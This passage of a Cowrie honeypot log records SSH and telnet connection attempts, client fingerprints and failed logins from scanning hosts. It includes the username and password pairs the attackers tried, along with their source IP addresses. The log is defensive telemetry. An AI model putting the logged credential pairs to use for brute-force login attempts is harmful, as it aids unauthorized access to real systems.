,"ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:04.700874Z","src_ip":"213.202.230.81","session":"31e070819c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XEM#Tr0ng!P@ss","message":"login attempt [root/XEM#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:04.967156Z","src_ip":"213.202.230.81","session":"31e070819c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:05.381646Z","src_ip":"94.138.209.214","session":"5e9660ab42f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:06.057375Z","src_ip":"213.202.230.81","session":"31e070819c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":54150,"dst_ip":"159.203.135.109","dst_port":23,"session":"214cb40325e2","protocol":"telnet","message":"New connection: 137.184.5.188:54150 (159.203.135.109:23) [session: 214cb40325e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:14.891211Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":53956,"dst_ip":"159.203.135.109","dst_port":23,"session":"eadc63d22bd5","protocol":"telnet","message":"New connection: 137.184.5.188:53956 (159.203.135.109:23) [session: eadc63d22bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:15.869226Z"}
{"eventid":"cowrie.session.closed","duration":46.748565912246704,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:17.788587Z","src_ip":"170.64.224.25","session":"815d7f32ae0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46370,"dst_ip":"159.203.135.109","dst_port":23,"session":"54dda60dcbed","protocol":"telnet","message":"New connection: 170.64.224.25:46370 (159.203.135.109:23) [session: 54dda60dcbed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:20.142469Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":43092,"dst_ip":"10.17.0.5","dst_port":22,"session":"47dad2cd1a6d","protocol":"ssh","message":"New connection: 162.241.177.22:43092 (10.17.0.5:22) [session: 47dad2cd1a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:22.633717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:22.638058Z","src_ip":"162.241.177.22","session":"47dad2cd1a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:22.663428Z","src_ip":"162.241.177.22","session":"47dad2cd1a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celsiusnetwork","password":"celsius123","message":"login attempt [celsiusnetwork/celsius123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:22.743037Z","src_ip":"162.241.177.22","session":"47dad2cd1a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:23.773499Z","src_ip":"162.241.177.22","session":"47dad2cd1a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":48782,"dst_ip":"159.203.135.109","dst_port":22,"session":"455b23eb21b0","protocol":"ssh","message":"New connection: 109.237.96.109:48782 (159.203.135.109:22) [session: 455b23eb21b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:33.234893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:33.238983Z","src_ip":"109.237.96.109","session":"455b23eb21b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:33.332397Z","src_ip":"109.237.96.109","session":"455b23eb21b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21081993","message":"login attempt [root/21081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:33.614273Z","src_ip":"109.237.96.109","session":"455b23eb21b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:34.710243Z","src_ip":"109.237.96.109","session":"455b23eb21b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.34010720252991,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:37.898302Z","src_ip":"170.64.224.25","session":"c9c1d7c53953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.275020837783813,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:40.166103Z","src_ip":"137.184.5.188","session":"214cb40325e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":38964,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e156d8cf2e5","protocol":"ssh","message":"New connection: 143.20.185.207:38964 (10.17.0.5:22) [session: 3e156d8cf2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:43.751402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:43.755892Z","src_ip":"143.20.185.207","session":"3e156d8cf2e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:43.881779Z","src_ip":"143.20.185.207","session":"3e156d8cf2e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#4VCPU8GBAMD","message":"login attempt [root/XYZZ#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:44.281061Z","src_ip":"143.20.185.207","session":"3e156d8cf2e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:45.410598Z","src_ip":"143.20.185.207","session":"3e156d8cf2e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55732,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ab8a4862930","protocol":"telnet","message":"New connection: 170.64.224.25:55732 (159.203.135.109:23) [session: 0ab8a4862930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:46.083793Z"}
{"eventid":"cowrie.session.closed","duration":51.622278928756714,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:46.475937Z","src_ip":"170.64.224.25","session":"f6fe2bcc8893","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57910,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffc5aa1b6a04","protocol":"telnet","message":"New connection: 170.64.224.25:57910 (159.203.135.109:23) [session: ffc5aa1b6a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:55.848557Z"}
{"eventid":"cowrie.session.closed","duration":81.68248224258423,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:24:00.940179Z","src_ip":"170.64.224.25","session":"b9d7345db0c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.75874590873718,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:24:03.901130Z","src_ip":"170.64.224.25","session":"54dda60dcbed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.8668110370636,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:24:16.715239Z","src_ip":"170.64.224.25","session":"ffc5aa1b6a04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.924307107925415,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:24:29.008002Z","src_ip":"170.64.224.25","session":"0ab8a4862930","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":41096,"dst_ip":"10.17.0.5","dst_port":22,"session":"59b11bc426fc","protocol":"ssh","message":"New connection: 95.130.227.33:41096 (10.17.0.5:22) [session: 59b11bc426fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:24:32.752839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:24:32.759060Z","src_ip":"95.130.227.33","session":"59b11bc426fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:24:32.923141Z","src_ip":"95.130.227.33","session":"59b11bc426fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sh@123","message":"login attempt [root/sh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:24:33.613841Z","src_ip":"95.130.227.33","session":"59b11bc426fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:24:34.780856Z","src_ip":"95.130.227.33","session":"59b11bc426fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0022451877594,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:25:15.871325Z","src_ip":"137.184.5.188","session":"eadc63d22bd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49274,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc51e4827eef","protocol":"telnet","message":"New connection: 170.64.224.25:49274 (159.203.135.109:23) [session: fc51e4827eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:25:34.699944Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57164,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff51e94257d","protocol":"telnet","message":"New connection: 170.64.224.25:57164 (159.203.135.109:23) [session: 1ff51e94257d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:25:53.576934Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54644,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6ae4113cf3e","protocol":"telnet","message":"New connection: 170.64.224.25:54644 (159.203.135.109:23) [session: d6ae4113cf3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:04.436369Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.214.25.124","src_port":65360,"dst_ip":"10.17.0.5","dst_port":22,"session":"73ca027d05df","protocol":"ssh","message":"New connection: 88.214.25.124:65360 (10.17.0.5:22) [session: 73ca027d05df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:20.681357Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","message":"Remote SSH version: \u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:20.684372Z","src_ip":"88.214.25.124","session":"73ca027d05df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:20.689211Z","src_ip":"88.214.25.124","session":"73ca027d05df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.180482387542725,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:22.880316Z","src_ip":"170.64.224.25","session":"fc51e4827eef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.98321557044983,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:30.419433Z","src_ip":"170.64.224.25","session":"d6ae4113cf3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55662,"dst_ip":"159.203.135.109","dst_port":23,"session":"31eb563f2e8c","protocol":"telnet","message":"New connection: 170.64.224.25:55662 (159.203.135.109:23) [session: 31eb563f2e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:44.102361Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":57112,"dst_ip":"10.17.0.5","dst_port":22,"session":"e82328569e74","protocol":"ssh","message":"New connection: 85.214.154.50:57112 (10.17.0.5:22) [session: e82328569e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:59.116389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:59.120586Z","src_ip":"85.214.154.50","session":"e82328569e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:59.214312Z","src_ip":"85.214.154.50","session":"e82328569e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roger_ver","password":"qwerty","message":"login attempt [roger_ver/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:26:59.499560Z","src_ip":"85.214.154.50","session":"e82328569e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:27:00.595167Z","src_ip":"85.214.154.50","session":"e82328569e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.72685194015503,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:27:06.303631Z","src_ip":"170.64.224.25","session":"1ff51e94257d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45104,"dst_ip":"159.203.135.109","dst_port":23,"session":"64f1af20d12a","protocol":"telnet","message":"New connection: 170.64.224.25:45104 (159.203.135.109:23) [session: 64f1af20d12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:27:17.175202Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47404,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ab4d0bf484a","protocol":"telnet","message":"New connection: 107.6.151.170:47404 (159.203.135.109:23) [session: 3ab4d0bf484a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:27:23.975644Z"}
{"eventid":"cowrie.session.closed","duration":53.62409806251526,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:27:37.726312Z","src_ip":"170.64.224.25","session":"31eb563f2e8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.36944079399109,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:27:56.344957Z","src_ip":"107.6.151.170","session":"3ab4d0bf484a","protocol":"telnet"}
